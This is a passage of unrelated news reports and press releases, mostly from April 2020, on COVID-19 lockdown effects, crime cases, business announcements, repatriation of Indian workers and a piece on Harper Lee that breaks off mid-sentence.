all functions; built-in configuration versioning and archiving; and reversible image upgrade allow network admins to make configuration changes easily. VyOS project started in 2013 as a fork of Vyatta Core when the open-source Vyatta version was discontinued. SOURCE Sentrium-VyOS Authorities on Monday announced a $10,000 reward for information in the stabbing death of a 17-year-old Montgomery girl. The body of Maryuri Jissel Aleman Cantillano was discovered April 14 in the 5900 block of Christy Lane. That location is near the Regency Park Community Center. Montgomery police Capt. Regina Duckett said police and fire medics found the victim lying on the ground. She was pronounced dead on the scene. An autopsy showed the teen had been stabbed to death. Prior to the discovery of her body, she had not been seen by her family since late March. Authorities have no released any additional details about the circumstances surrounding her disappearance or her death. Central Alabama Crime Stoppers announced the reward money. Montgomery City Councilman Oronde K. Mitchell, who serves the district where she was found and lived, is offering a $2,500 reward. Business Owners Edgar Valerio of Valerios Auto Sales, James Brown of La Taquiza Mexican restaurant, and Jair Lopez of Radio Digital Estrella have also donated $2,500 to go towards a reward to be paid for any information that leads to the arrest of any suspects. Crime Stoppers maximum reward of $5,000 brings the reward total to $10,000. Anyone with information is asked to call Montgomery Police or Crime Stoppers 24-hour tip line at 334-215-STOP (7867) or submit tips through the P3-tips app. Spanish can be translated to English when using the app. Tips can also be submitted through the toll-free number 1-833-AL1-STOP. How much can you expect to spend on a pet On Tuesday, financial services company Synchrony released its Lifetime of Care survey of 1,200... Debt rises despite Americans paying off record amount in 2021 Americans paid off a record $83 billion in credit card debt, with more than $357 billion owed in... COVID-19 leading cause of death among law enforcement in 2021 According to a report released by the National Law Enforcement Memorial Fund on Tuesday, the... A YOUNG man has been accused of dealing cocaine during the lockdown and laughing in a gardas face when separately challenged over allegedly breaching the new Covid-19 public safety laws. Karl Byrne (18) told gardai he was going to shops to buy a can of coke and chocolate, and getting fresh air when he was stopped for other alleged breaches, a court heard. Judge Grainne Malone granted him bail despite garda objections and adjourned the case. Mr Byrne, from Termon Court, Ballymun, is charged with possession of cocaine for sale or supply at the Seven Pitches, also in Ballymun on April 22 last. He is also charged with three breaches of the Health (Preservation and Protection and other Emergency Measures in the Public Interest) Act, 2020, on dates this month. Mr Byrne is further charged with possession of a small amount of cannabis at Termon Court in April 27. Dublin District Court heard the accused had come to garda attention on 18 occasions since April 18. The prosecuting garda said he had interacted with Mr Byrne on numerous occasions over 10 days. Each time he engaged with the accused, he encouraged him to adhere to the Covid regulations but gardai were left with no option but to enforce the legislation. In relation to the cocaine possession charge, he said Mr Byrne was alleged to have had between 4,000 and 5,000 worth of the drug, subject to analysis. A garda witness said he stopped the accused around 500 metres from his home in Ballymun on April 8. Mr Byrne was in the company of a number of individuals and when asked for the reason he was out and about, he replied that he was going to the shops to buy a can of coke and some chocolate. The garda explained to him that was not an essential journey and encouraged him to go home, but he got belligerent. In another incident, a garda said she was on patrol at Poppintree Parade on April 7 when she saw Mr Byrne, who took off on foot. She later stopped and searched him and when she asked his purpose for being in the area, he just laughed in my face. Another garda said the accused was with four other males congregated at a green area at Druid Court, Ballymun at 12.25pm on a hot, sunny day on April 15. There was a strong smell of cannabis from the group and the accused was lying on the grass. There was no social distancing, they were all close together and they did not reside at the same address, the garda said. Asked why he was out, Mr Byrne said he was out getting fresh air, the garda said. He told Mr Byrne he was in breach of the Covid regulations and advised him to go home and abide by the regulations in future. The accused was about 150 metres from his home address at the time. Applying for bail, defence solicitor Luke Staines said Mr Byrne was presumed innocent, wanted to fight the charges and would be in custody for over a year if refused bail. Judge Malone granted bail on condition the accused adheres to current Covid regulations, signs on daily at Ballymun Garda Station, observes a curfew between 11pm and 6am surrenders his passport, provides a mobile phone number and stays away from Poppintree shops and a green area at Druid Court. She said no evidence had been given in relation to the cocaine possession charge. The judge granted free legal aid to Mr Byrne after hearing he was unemployed. She adjourned the case to May 13. That was a headline (paper edition) of an article in yesterdays Washington Post. I dont think you need to be an expert to figure out that Americans are tired of being cooped up, especially when the officials who are locking us down seem so arbitrary when it comes to the specifics, and do such a poor job of explaining them. Naturally, the Posts experts want to blame President Trump for the nations backsliding. They note that smart phone tracking data showed a slide the same week that Trump tweeted support for protesters in Michigan and Minnesota. But a slide is bound to occur with the passage of time. The Post and its experts make no attempt to show that the slide that occurred the week of Trumps tweets is any greater than what was to be expected from a nation sick of being shut down and shut in. In fact, the Posts article says the backsliding began on April 14, three days before the tweets Trump sent out near the end of the week in question. Moreover, Trump has never taken the position that people should stop social distancing. Indeed, he was critical of Georgias governor, a fellow Republican, for his proposal for reopening Georgia. Trumps support for protesters in Minnesota and Michigan was not an attack on social distancing. Rather, given what Trump has said about Georgia, it is best understood as an expression of sympathy for residents in those states who have been subjected to arbitrary shutdown policies. The Posts article complaining about backsliding unintentionally demonstrates the arbitrary nature of the social distancing concept that is fueling non-compliance. The Posts experts measure the share of the population that is staying at home by determining whether peoples phones show they didnt move more than a mile in a day. That percentage had been increasing or holding steady until recently. But after April 14, it decreased slightly from 33 percent to 31 percent. I havent been within 10 feet of anyone other than my wife for a month. I havent been within 10 feet of anyone other than my wife, my two daughters, and two cashiers for almost eight weeks. Yet, by the Posts measure, I am out of stay-at-home compliance every day. Why? Because I take long walks that carry me well beyond one mile from my house. (I zigzag if necessary to avoid coming within four yards of anyone.) If someone can explain to me why I pose a risk to myself or anyone else when my walk takes me past the one-mile mark, I will change my practice. But there is no rational explanation. Its unrealistic enough to expect Americans to remain huddled in and around their homes for months under any circumstances. When governments cant defend elements of their stay-at-home policies, and often wont even try, there is no hope of keeping Americans locked in much longer. As the coronavirus pandemic continues to impact schools and jobs, placing greater need on food banks, Dairy Farmers of America (DFA), along with The American Dairy Association North East are teaming up to help Oneida County families in need. On Wednesday, April 29, the two companies have organized a milk donation of nearly 4,000 gallons to 16 school districts in Oneida County. Those donations will be delivered to families in the school community. Dairy Farmers of America (DFA), a national cooperative owned by dairy farm families across the U.S., has teamed up with Dean Foods processing plants across the Northeast and American Dairy Association North East, representing over 10,000 dairy farmers, to deliver 3,888 gallons of milk to Oneida County. As a dairy cooperative owned by family farmers across the country, we are dedicated to helping provide nutritious food for family tables, said Jennifer Huson, Senior Director Marketing, Council Affairs and Industry Relations for DFA Northeast. Knowing that millions of Americans are struggling right now to make ends meet and with food banks being a critical local resource to help feed those families, we knew that we had to figure out a solution. Milk is an essential item for nutritional wellbeing and meal preparation, especially for households with children, says Rick Naczi, CEO, American Dairy Association North East. Were doing everything we can to make sure families have access to milk. The 16 school districts to receive free milk are: Utica, Remsen, Clinton, Whitesboro, Sauquoit, Oriskany, Waterville, Westmoreland, New Hartford, New York Mills, Holland Patent, Rome, Camden, Vernon-Verona-Sherrill, Adirondack and Brookfield. A gold mine in Papua New Guinea that generates around 10 percent of the country's exports has suspended operations, a Canadian firm that runs it said, after the government refused to extend the 20-year-old lease on the facility Sydney, (APP - UrduPoint / Pakistan Point News - 27th Apr, 2020 ) :A gold mine in Papua New Guinea that generates around 10 percent of the country's exports has suspended operations, a Canadian firm that runs it said, after the government refused to extend the 20-year-old lease on the facility. The Southeast Asian nation's military and police were being deployed to secure the mine in a rugged highland region beset by tribal and other violence, officials confirmed Monday. Barrick Gold, the Canadian company that jointly runs the project in the Porgera Valley with China's Zijin Mining Group, said over the weekend that work had ceased "temporarily" after authorities announced Friday they would move towards local ownership for the mine. The case will be watched closely by other mining firms operating in the impoverished country as well as energy companies, whose deals with the government have often failed to yield revenues for local authorities. The mine produced 284,000 ounces of gold in 2019 and is believed to hold as much as 3.6 million ounces. Barrick, which had requested a 20-year extension to its lease, said the decision was "tantamount to nationalisation without due process". The firm promised to "pursue all legal avenues to challenge" the move and recover any damages. In a statement over the weekend, Prime Minister James Marape defended the decision. "The lease expired and our decision is within law," he said. Foreign Minister Marise Payne's call for global co-operation on an independent review of the COVID-19 outbreak comes at a time of confidence in Canberra that our handling of the virus has made us a world leader. Indeed, senior World Health Organisation official Margaret Harris told this newspaper that Australia is "the poster child of good early intervention". Beijing's angry response to the Payne proposal is entirely predictable; the Communist party-state cannot tolerate independent scrutiny of its internal operations, especially if that is likely to reveal a far greater human cost of its failings than it has hitherto disclosed. Australia, Canada and South Korea have all been put in the diplomatic freezer at different times in recent years over policies and legislation that ran counter to the wishes of the People's Republic. Fifteen years before China's ambassador Cheng Jingye mused this week about the supply of tourists and students drying up, one of his predecessors, Fu Ying, was trying to frighten the Howard government with visions of a flood of asylum seekers from her country. What is harder to predict is what the Morrison government might do next. Through all our diplomatic difficulties and expressed differences with Beijing over the detention of Australian Yang Hengjun and the plight of dissidents in Hong Kong and Xinjiang, it has been bipartisan orthodoxy that our best hope lay in a "rules-based global order" which could only be effective so long as Beijing was included. SCHENECTADY - Schools across the country are still closed and most aren't planning on opening before the summer begins. But Schenectady-based Transfinder, which makes bus routing software used by school districts, says it has been fortunate beyond its expectations during the coronavirus pandemic. "We're on pace to have one of our biggest quarters the company has ever had," Antonio Civitella, CEO of Transfinder said in a phone interview on Tuesday. "Has it been easy? No. We've been fortunate." Transfinder's employees have been working from home since mid-March, and so when the company launched its new bus-routing software in early April, Civitella said he didn't know if the product would get a good reception. His sales staff has had to cater their operation to the new coronavirus landscape in order not to offend new customers getting cold calls amid a crisis. As it turned out, the new product, known as Routefinder PLUS, has been extremely popular amid the coronavirus lockdown, allowing transportation officials to access the web-based software from home. The software is much more powerful as well, giving school districts more confidence that they can adapt to the new realities of the pandemic when schools re-open. "It's almost a miracle that the (April 6) release date was then," Civitella said. "They recognize this will get me prepared for that next problem." As a result, Transfinder has had to lift its hiring freeze and has already hired new employees for its Schenectady and Austin, Texas units. The company has 115 employees total with 80 local. While most local school districts in the Capital Region have not yet ruled out opening before the summer, Civitella isn't so sure they will, noting that school districts in Texas and Ohio and other places have already canceled the current school year. Civitella said that while district officials in some parts of the country are going back to work, they are mostly dealing with what to plan next - which is uncertain even when they look at the fall. "So many of our clients in different states have already announced they aren't going back (this school year)," Civitella said. "They're going back to the offices at the end of the week but the schools have decided to remain closed. They've said, 'Why rush it?'" As for Capital Region school districts, Civitella doesn't know what to expect for the fall, although he can't imagine it will be like it was before. Will there be half days, allowing for smaller classroom sizes? There will probably have to be more buses and more drivers needed to allow for social distancing as well. It's all up in the air, he says, if they can open safely in the fall. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. "You know, it's hard to say," Civitella said. "If they do open, it's probably not going to be (like it was). They may open, but there are going to be some changes. Some may be extreme." Planning for that is why Transfinder's new software has been so popular, Civitella said. Civitella himself is also in no rush to bring his employees back into the office as the state starts planning when it will allow companies to re-open as coronavirus hospitalizations and infections fall. "We're going to go back when it makes sense to go back," Civitella said. Civitella said Transfinder has become a better company amid the stay-at-home order from the state. Employees have adapted along with the company, which has vastly improved its communication abilities since employees were sent home with their computers and other supplies on March 13. Civitella didn't know what to expect at the time - or whether the company would adapt or not. "We are truly a stronger company than when we went into this crisis," Civitella said. "We are blessed." The same day the Texas Supreme Court decided to extend the states temporary moratorium on evictions, one San Antonio landlord is accused of locking out an estimated 50 tenants from their apartments. Just before noon Monday, police were called to Olmos Club Apartments, a complex about 5 miles north of downtown, after someone reported that multiple tenants had been barred from entering their apartments, even as residents of Bexar County had been ordered to stay home whenever possible. The landlord locked tenants out for failing to pay rent on time a move that directly contradicts guidance from apartment industry executives and government leaders who have urged landlords to work with families struggling to pay rent with the local economy at a standstill. One tenant, who declined to give his name, said he and his neighbors were given no warning that their landlord planned to fasten exterior locks onto their front doors Monday morning, blocking them from entering or leaving the apartments. Honestly, its intimidation, he said. Texas landlords arent allowed to lock their tenants out unless they go through a specific process first. Sandy Rollins, who runs the Texas Tenants Union, said under the state law, a landlord must mail a notice to a tenant warning of a lock-out at least five days before doing so. Or, landlords can hand-deliver or post the notice on the inside of the front door at least three days ahead of time. Now Playing: The eviction process begins when a landlord delivers a notice to vacate to the tenant. Video: Mike Fisher When the landlord locks the tenant out, they must put another notice on the front door and provide the tenant with a key to enter the apartment within two hours, no matter what time of day or if the tenant pays rent. If landlords dont follow the law, tenants can sue for one months rent plus $1,000, in addition to other damages such as court costs and attorney fees. Neither the property manager nor owner of the Olmos Club Apartments responded to requests for comment Tuesday. San Antonio City Councilman Roberto Trevino said his staff is working to help the tenants through the citys Right to Counsel pilot program, which was launched this year to provide legal help to renters at risk of eviction. The apartment complex has a federally backed mortgage, which means its tenants also fall under the protection of the CARES Act, according to a data collected by the National Low Income Housing Coalition. The March 27 CARES Act bans landlords with federally backed mortgages from filing evictions and penalizing tenants for 120 days if they fail to pay rent on time. Texas tenants also are protected by state and local suspensions of eviction hearings. Locked Out? Do you think you've been illegally locked out of your apartment? Visit Bexar.org/3168/Self-Help-Packets. To find help paying rent, visit: Sanantonio.gov/NHSD/Programs/FairHousing. See More Collapse This is the first really flagrant violation weve had of that, Bexar County Judge Nelson Wolff said of the Olmos Club Apartments move to lock tenants out. Weve asked the district attorney and other law enforcement to look into it and see what kinds of options we may have against the company that did that. On Monday, the Texas Supreme Court extended its order postponing most eviction hearings through May 18. In Bexar County, District Attorney Joe Gonzales said local justice of the peace courts will wait until after June 1 to hear eviction cases, unless theres a serious criminal threat or danger of physical harm. Gonzales said his office doesnt investigate complaints but would review the case addressing the Olmos Club Apartments if law enforcement submits one. My hope is that apartment owners and managers voluntarily agree to be part of a temporary solution to stopping the spread of COVID-19, said Gonzales. Keeping people in their apartments until a more permanent solution can be found keeps our community safer. Have you been threatened with an eviction notice or struggling to pay rent? We want to hear from you. Marina Starleaf Riker is an investigative reporter for the San Antonio Express-News with extensive experience covering affordable housing, inequality and disaster recovery. To read more from Marina, become a subscriber. marina.riker@express-news.net | Twitter: @MarinaStarleaf Nordea Bank Abp - Stock exchange release - Notice to general meeting COPENHAGEN, Denmark , April 28, 2020 (GLOBE NEWSWIRE) -- The shareholders of Nordea Bank Abp (the "Company") are hereby summoned to the Annual General Meeting to be held on Thursday 28 May 2020 at 3.00 pm EET at the headquarters of Nordea, Hamnbanegatan 5, Helsinki, Finland. Shareholders can only participate in the Annual General Meeting and exercise their shareholders' rights by voting in advance or through a proxy representative, and by posing counterproposals and questions in advance. Instructions to shareholders are further described in Section C of this notice. It is not possible to attend the meeting in person. Due to the COVID-19 pandemic and in order to ensure the health and safety of the Company's shareholders, employees and other stakeholders, the Board of Directors of Nordea Bank Abp has resolved on extraordinary meeting procedures pursuant to the temporary legislation adopted by the Finnish Parliament on 24 April 2020. Shareholders can follow the Annual General Meeting through a web stream in accordance with the instructions at www.nordea.com/en/annual-general-meeting . It is not possible to ask questions or vote through the web stream and following the web stream without voting in advance or issuing a proxy is not considered as participation in the Annual General Meeting. Click on, or paste the following link into your web browser, to view the associated PDF document. http://www.rns-pdf.londonstockexchange.com/rns/1800L_1-2020-4-28.pdf A special COVID-19 hazard and inducement allowance of 50 per cent of Consolidated Basic Salary will be paid to all health workers in Nigerian Teaching Hospitals, Federal Medical Centres (FMCs), and designated COVID-19 centres for the first three months in the first instance. The Minister of State for Health, Olurunnimbe Mamora, disclosed this at the daily Presidential Task Force briefing on COVID-19 on Monday. He said the Federal Government agreed to shelve the payment of the current N5,000 hazard allowance, which had been in existence since 1991. He said a Memorandum of Understanding (MoU) has been signed with health professional associations and unions as regards this. In its place, a special COVlD-19 Hazard and Inducement Allowance of 50 per cent of the Consolidated Basic Salary is to be paid to all health workers in all Federal Government Teaching Hospitals and Federal Medical Centres and at designated COVlD-19 Centres and Primary Health Care Centres to last for the first three months in the first instance. 40 cent of the Consolidated Basic Salary would be paid as special COVlD-19 Hazard and Inducement Allowance to health workers at special Non-Public Hospitals and clinics in the Federal Ministries, Departments and Agencies (MDAs) for same three months period, Mr Mamora said. The federal government earlier announced its decision to give 5,000 front line health workers life insurance, which has been fully paid for by the Nigerian insurance industry. This serves as a major boost to health workers who are exposed to COVID-19 virus as the first responders to patients. The Minister of Health, Osagie Ehanire, recently announced that about 40 health workers in Nigeria had tested positive for COVID-19. He said there were also others who have been quarantined in the last two weeks due to exposure and have not been able to contribute to efforts of the health sector. Aliyu Yakubu, a medical doctor aged 60, has also died of the virus. Salary structure of health workers PREMIUM TIMES earlier reported how nurses and midwives taking care of COVID-19 patients said they had no life insurance and were not receiving any special hazard allowance different from that embedded in their salaries. An entry-level federal doctor or dentist earns an annual consolidated earning of about 1.7 million ($4,722), rising to 8.5 million ($23,611) for the highest grade, as stipulated in the 2019 Consolidated Medical Salary Scale (CONMESS). Of this, hazard allowance is 60,000 ($167) per annum for medical workers at all grades, said Olanrewaju Amusat, Executive Director of SmileBuilders Initiative. As for nurses, midwives and other health workers, their total annual entry earning is 360,000 ($1000), rising to 3.2 million ($8,889) for the highest grade, as contained in the 2019 Consolidated Health Salary Structure. Risk Allowances Mr Mamora said 20 per cent of the Consolidated Basic Salary will be paid to all health workers directly managing COVlD-19 at the Infectious Diseases Hospitals (IDH) isolation and treatment centres. 20 per cent of the Consolidated Basic Salary will be paid as Special Risk Allowance in addition to the special COVID-19 Hazard and Inducement Allowance to all health workers directly managing COVlD-19 at the Infectious Diseases Hospitals, isolation and treatment centres. Ten per cent of Consolidated Basic Salary would be paid to non-core medical professionals working in the health sector and operating at aforementioned Hospitals/Clinics as special allowance for the COVID-19 period in the first three months, he said. He added that the request for the retirement of health workers to be moved up to 65 years, and that of Medical Doctors, Consultants to 70 years was discussed. The government agreed to look into this post-COVlD-19. [April 27, 2020] Trustar Bank Donates Portion of SBA Paycheck Protection Program Fees to Local Organizations As a registered lender with the Small Business Administration (SBA), Trustar Bank has utilized the SBA's CARES Act Paycheck Protection Program (PPP) to provide capital to small businesses, helping them meet their ongoing short-term expenses. The CARES Act, which was signed into law on March 27, 2020, provides banks with an opportunity to assist businesses in need. In the span of just one week, Trustar Bank has provided over 200 loans to local businesses struggling during the COVID-19 pandemic. As a community bank, Trustar takes great pride in supporting local organizations and important causes. The Bank is happy to announce that they will be donating 10% of PPP processing fees to local organizations, such as the Inova (News - Alert) Health Foundation and Washington Nationals Philanthropies. Through efforts like this, Trustar Bank hopes to provide a bit of extra relief to those struggling during these difficult economic times. "We felt privileged to participate in the SBA's Paycheck Protection Program (PPP), support the stabilization of the US Econmy and help working families in Greater Washington. As a community bank, Trustar Bank understands and values the role that community banks play across this great country," said Trustar Bank CEO, Shaza Andersen, "To help even further, we are donating 10% of our loan fees from the PPP Program to Inova Health Foundation and the Washington Nationals Philanthropies. It is important to us to serve as strong stewards of our community and invest in programs and people that are committed to making our community healthier, safer and stronger." If you would like more information about the Paycheck Protection Program, please visit Trustar Bank's website at www.trustarbank.com. The Bank's dedicated PPP Rapid Response Team is ready to assist businesses with any questions they may have. About the Bank - Trustar Bank is a full-service bank offering comprehensive banking products and services to small- and medium-sized businesses and consumers. It is the first bank to be chartered and opened in Virginia in over a decade. For more information, please visit Trustar Bank online at trustarbank.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005904/en/ [ Back To TMCnet.com's Homepage ] BRUSSELS (dpa-AFX) - Lithuania's retail sales dropped in March amid the lockdown imposed to battle the coronavirus, or Covid-19, pandemic, figures from the statistical office showed on Tuesday. Retail sales, excluding VAT, decreased a working-day adjusted 5.7 percent year-on-year in March, after a 7.0 percent rise in February. Sales of textiles, clothing and footwear dropped 52.9 percent annually in March. Sales in non-specialized stores declined 34.2 percent and sales of non-food items fell 14.3 percent. Sales in the food and beverages services industry decreased 44.9 percent. On a month-on-month basis, retail sales fell 10.4 percent in March. For the January to March period, retail sales gained a working-day adjusted 1.8 percent from the same period of the previous year. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Jaipur, April 28 : An IPS officer in Rajasthan's Churu is using the lockdown period to engage people in creative streams by chalking out a strategy to ensure they stay indoor and learn something new. "People would come out on streets on the pretext of buying essentials in the evening. I was thinking to do something different where I would not have to use force to ensure the people stayed indoor," Tejaswini Gautam told IANS. "Before lockdown, we had plans to engage Churu people in some creative activity, but after lockdown was declared, I thought of running live sessions of celebrities associated with theatre, films, music and yoga as well. Motivational speakers would come in each day from 5 p.m. to 7 p.m. so that people stayed indoor," said Gautam. These regular sessions have sent hundreds of people back home, where they are glued to their phones and computer screens. "They raise many questions to their favourite stars", says Gautam. The average viewership of these live sessions is around 20,000-30,000 daily. Besides, there are hundreds others who are watching the recorded versions. People send many messages on Facebook. "They are also giving us suggestions on bringing their favourite stars too, which we are pursuing", she says. Those who have been invited to the sessions include Padma Shri recipient Paralympic Gold medallist Devendra Jhajhadiya. "During live session, he shared how he waited for 12 years for the olympics and said, 'why can't you stay for a few days inside your houses?'". Theatre Expert Satya Kaushik said: "Read a lot during lockdown and keep yourself fit and come out as a good listener." Management guru N Raghuraman also brought out success tips for all. "We have invited Ruhani sisters," says Gautam. Who invites the celebrities? "Sometimes it's me. My close friends too have brought in these celebrities. They have obliged us on our personal request. This is a goodwill gesture they are doing for Churu Police and people", she says. The Churu Police has also launched a campaign 'Mera Churu, Mera Farz' where people are made to take a pledge "Mere Gali men koi bhookha nahin soyega" ('no one would sleep hungry in my lane') and "Meri Gali mein koi bahar nazar nahin aayega" ('no one would loiter outside in my lane'. "We are presenting videos of Pankaj Tripathi, Anup Soni and others to make people aware about coronavirus", she says. Tejaswini Gautam was born and brought up in Delhi; she completed her graduation from Lady Shri Ram College from 2007-10, and then pursued her law in 2010-2013. During these years, she was associated with theatre groups. Some of her associates are now well-known in theatre circles while some are in Bollywood. "With these links, we approached the celebrities who have extended their helping hand to us without charging us anything," she said. These live sessions are being aired on https://www.facebook.com/ChuruPolice/, she says. Indian missions in the UAE will soon start compiling the data of the expatriates wanting to fly back home after getting stuck amidst the coronavirus pandemic in the Gulf nation, according to a media report. The missions are currently awaiting more clarifications from New Delhi regarding the details that need to be collected and some more issues that need to be clarified, the Gulf reported on Monday. "We hope to start soon," Indian Ambassador to the UAE Pavan Kapoor was quoted as saying to the paper. In total, there are more than 3.4 million Indians living in the UAE and they have been requesting the government to facilitate their repatriation, the report said. Kapoor did not elaborate on the clarifications sought or the expected date of beginning the registration. The move comes close on the heels of the Indian Embassy in Qatar beginning the registration, the paper reported. The data compilation also follows reports from India which suggested that the central government was making assessment of preparations in states for bringing home stranded Indians, the report said. The coronavirus has so far infected 10,839 people in the UAE with 82 deaths, the paper reported. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Shira Haas has recalled her shock and nerves at having to shave her head for Netflix drama series, Unorthodox. The Israeli actress, 24, plays Esty, a 19-year-old Jewish woman who runs away from her Ultra-Orthodox community in New York City to start a life in Berlin. Reflecting on the role, Shira - who was born in Tel Aviv to a Jewish family told British Vogue that she didn't know about many of the practises in this community, including shaving your head after marriage. Commitment: Shira Haas has recalled her shock and nerves at having to shave her head for her starring role in Netflix drama series Unorthodox Recalling having to be filmed having her hair shaved, Shira confessed she was shocked to learn it would be one of the first scenes she shot. She recalled: 'That was the final scene on the first day of shooting. When Maria [Schrader, the director] told me it was going to happen right at the beginning, I was so shocked. 'But, it was great because it really got me into character. Of course, your head can only be shaved once so I knew it would be one take and I had to get it right. 'I was nervous, but I was willing to do it in order to tell this story.' One to watch: The Israeli actress, 24, plays Esty, a 19-year-old Jewish woman who runs away from her Ultra-Orthodox community in New York City to start a life in Berlin The reason why Ultra-Orthodox Jewish women shave their heads has been disputed, with Rabbi Avram Mlotek telling Refinery29 that some religious interpretations determine 'woman's hair to be nakedness and part of the alluring nature of the effeminate.' Other websites about Jewish tradition and culture state that the only person who should see a married woman's hair is her husband. Shira spent months researching the Ultra-Orthodox community, explaining to Vogue, 'every Jewish community is different and you really cant generalise.' Shocked: Shira - who was born in Tel Aviv to a Jewish family - told Vogue that she didn't know about many of the practises in this community, including shaving your head after marriage The actress revealed she travelled to Berlin two months before filming began in order to learn Yiddish, which she revealed is 'very different' to her native Hebrew. Shira also had to take piano and singing lessons in preparation for the role, and several consultations with the show's religious consultant, revealing that the cast rehearsed for two full days before filming the wedding scene to ensure it looked authentic. Unorthodox tells the story of a young woman named Esther 'Esty' Shapiro, [Shira Haas] who decides to flee the Hasidic Jewish community in Williamsberg. Dedication: The actress revealed she travelled to Berlin two months before filming began in order to learn Yiddish, which she revealed is 'very different' to her native Hebrew She flees to start a new life in Berlin, Germany away from her arranged marriage to Yanky [Amit Rahav], who tries to track her down and win her back. He enlists the help of his rule-breaking and sinister cousin, Moishe Lefkovitch, played by Jeff Wilbusch. The series is loosely based on a true-story memoir Unorthodox: The Scandalous Rejection Of My Hasidic Roots by Deborah Feldman. As the foreign and civil aviation ministries start work on a plan to fly back tens of thousands of Indians stuck abroad, Prime Minister Narendra Modi has spelt out the ground rule for the evacuation plan. Indias blue collar workers stranded abroad will get the first seats in the special flights that will be run by the government to get them home. Students stranded in different countries will be next. Then, everyone else including Indians who were travelling for work, or pleasure. The prime minister was very clear That the Indian expatriate workforce should get the first choice to return, a top government official told Hindustan Times. At one meeting, PM Modi pointed out how the poorest of Indian immigrant workers - mostly in the Gulf countries - had helped India tide over the economic crisis. Like in 1998, PM Modi told them, when the United States and other western countries imposed economic sanctions on India after the then PM Atal Bihari Vajpayee detonated five underground nuclear bombs in Pokhran in May 1998. The Resurgent India Bond floated by the State Bank of India was targeted to raise $2 billion; it netted more than $4 billion. Two decades later, Indias massive diaspora is still sending money home. In 2019, according to the World Bank, India was still the worlds top recipient of remittances. The diaspora sent $82 billion; nearly half came from migrant workers in West Asia. But the Covid-19 pandemic has hit the Indian workers in West Asian countries hard. Many have lost their jobs due to suspension of projects and are stuck. Also Watch: Pakistans terror tactic amid Covid-19 crisis explained Given that the states did not have the capacity to accommodate the large number of workers, Prime Minister Narendra Modi and Foreign Minister S Jaishankar had worked the phones to reach out to the Gulf countries to ask them to take care of the Indians. Indian workers in six Gulf countries account for 70 percent of 12.6 million Indians abroad. The United Arab Emirates is home to 3.4 million Indians. Another 2.6 million are in Saudi Arabia. Kuwait, Oman, Qatar and Bahrain are home to another 2.9 million NRIs. Apart from workers in the Gulf countries, officials said, Indian missions had received requests from thousands of students who were stuck in countries across the world, ranging from the United Kingdom, Canada and the United States of America to Russia, Singapore and Philippines. In Russia alone, an official said, the total strength of Indian students is about 15,000. Also Read: 70% of Indian citizens abroad are in 6 W Asian nations, shows data It will be a complicated exercise. Indian missions abroad will compile a list of people who want to return to India, prioritise them and then coordinate with the states concerned. When they eventually land in India, everyone would have to be screened to figure if the person should be sent to a quarantine centre or straight to the hospital, a government official said. The foreign ministry will have to set up a dedicated control room for this mammoth exercise, he said. The Centre hasnt yet decided when to start the evacuation flights but the timing, and the pace of the evacuation would be heavily dependent on governments in the home state of the workers. If the home state of a worker is not ready to take the responsibility to house them in quarantine facilities, it may not be possible to evacuate them. It is for this reason that Cabinet Secretary Rajiv Gauba had told chief secretaries at his last virtual meeting to quickly set up quarantine facilities and hospital beds. Kerala has been first off the block, announcing that they were prepared to accommodate at least two lakh expatriates, mainly blue-collar workers, at its special quarantine centres. SHARE THIS ARTICLE ON Jayanta Roy Chowdhury By Express News Service NEW DELHI: In the post-lockdown era, the way the world does business as well as the nature of global supply chains will change drastically. However, with its high cost of production, high taxation rates and red tape, India is in danger of losing out during this tectonic shift, feel top experts. In the international economy, there will be a scramble to diversify supply sources so that dependence on one or a few countries reduces significantly. This will create enormous churn in investment patterns, said Dr Pronab Sen, noted economist and former Chairman of the National Statistical Commission. Anil Kumar Chaudhary, Chairman SAIL, agreed, saying, Post-COVID, businesses will reorganise their processes and operations across countries and sectors. Sen added, "However, I see the money mostly shifting to East Asia and Southeast Asia. Nothing has changed to make India more attractive." According to a September 2019 study by Nomura, out of 56 companies shifting base from China, a mere three companies preferred India, while 26 decided to relocate to Vietnam. Taiwan was chosen by 11 firms and Thailand by 8 companies. Subhash Chandra Garg, former Finance Secretary, said, India suffers from high cost of production, high capital costs, high electricity tariffs, higher incidence of taxes and regulatory red tape. Reports suggest that in the last 5 years, companies that shifted out of China for instance went elsewhere (and) there is little as yet to show that the trend will change. The government has been working on a package to make India more attractive which could include tax and duty incentives besides fast track clearances both at central and state levels. However, there is skepticism on the packages timing and ability to mould business decisions. Sen feels that in the Indian context, the coronavirus pandemic is likely to give further impetus towards protectionism. Demands for self-reliance will become more strident and I am afraid, the government will go along whole-heartedly. India experimented with 'self-reliance' in the 1960s, reducing Indian industrys competitiveness and pushing up prices unnecessarily, experts point out. Economic revival will have to be gradual and calibrated and depends entirely on the process of relaxation of lockdown rules, warned Dr Pronab Sen. Industry leaders like ITC Chairman Sanjiv Puri also said, This is a fight that could be longish, with chances of it (COVID-19 pandemic) occurring again. While agreeing with this prognosis, the former finance secretary wants the entire goods economy farming, mining, construction and manufacturing along with transport and distribution sectors to reopen from early next month, subject to social distancing and health checks. To minimize misery and death, a choice has to be made, he pointed out. Garg also advises continuation of lockdown for the services sector for more time even as the digital economy is encouraged to stagger the number of people out on the streets. The industry too wants manufacturing to be reopened along with transportation and distribution channels in areas other than hotspots, in line with the thinking of the countrys top leadership. However, they are at pains to point out that without ease of movement for the countrys trucking fleet and reopening of sales channels, the economy cannot be jumpstarted. You cannot manufacture just to create inventory, pointed out Puri. Chip Somodevilla/Getty Images Harper Lee would have been 94 years old today. The famed author of "To Kill a Mockingbird" was born on April 28, 1926, in Monroeville, Alabama. When she died -- on Feb. 19, 2016, at a nursing home, The Meadows of Monroeville -- the literary world mourned her passing. So did just about everyone who reveres "Mockingbird," Lee's enduring novel about racial tensions, social justice and life in a small Southern town. Lee was an intensely private person, and the things we know for sure about her have been repeated over and over. Her 